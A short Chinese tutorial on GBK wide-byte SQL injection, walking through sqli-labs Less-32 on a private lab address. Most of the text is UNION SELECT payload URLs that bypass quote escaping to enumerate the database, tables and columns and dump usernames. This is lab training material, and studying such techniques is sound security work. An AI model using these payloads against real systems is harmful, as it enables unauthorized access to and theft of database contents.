一、宽字节注入介绍
1、在注入点输入(')会被转义为(\')编码后为(%5c%27),只有把斜杆去掉才能注入
2、GBK编码表,%DF%5C正好组成( 運),所以会把\"吃掉",0X81-0XFE都可以
二、实例演示
1、获取数据库名称
http://192.168.139.129/sqli/Less-32/?id=1%81' and 1=2 union select 1,2,database() --+
2、获取数据库security的表
http://192.168.139.129/sqli/Less-32/?id=1%df' and 1=2 union select 1,2,table_name from information_schema.tables where table_schema=0x7365637572697479 --+
3、获取下一个表
http://192.168.139.129/sqli/Less-32/?id=1%81' and 1=2 union select 1,2,table_name from information_schema.tables where table_schema=0x7365637572697479 limit 3,1 --+
4、获取表名为users的字段名
http://192.168.139.129/sqli/Less-32/?id=1%81' and 1=2 union select 1,2,column_name from information_schema.columns where table_name=0x7573657273 --+ http://192.168.139.129/sqli/Less-32/?id=1%81' and 1=2 union select 1,2,column_name from information_schema.columns where table_name=0x7573657273 limit 11,1--+
5、获取字段内容
http://192.168.139.129/sqli/Less-32/?id=1%81' and 1=2 union select 1,2,username from users --+ http://192.168.139.129/sqli/Less-32/?id=1%81' and 1=2 union select 1,2,username from users limit 1,1 --+
禁止非法,后果自负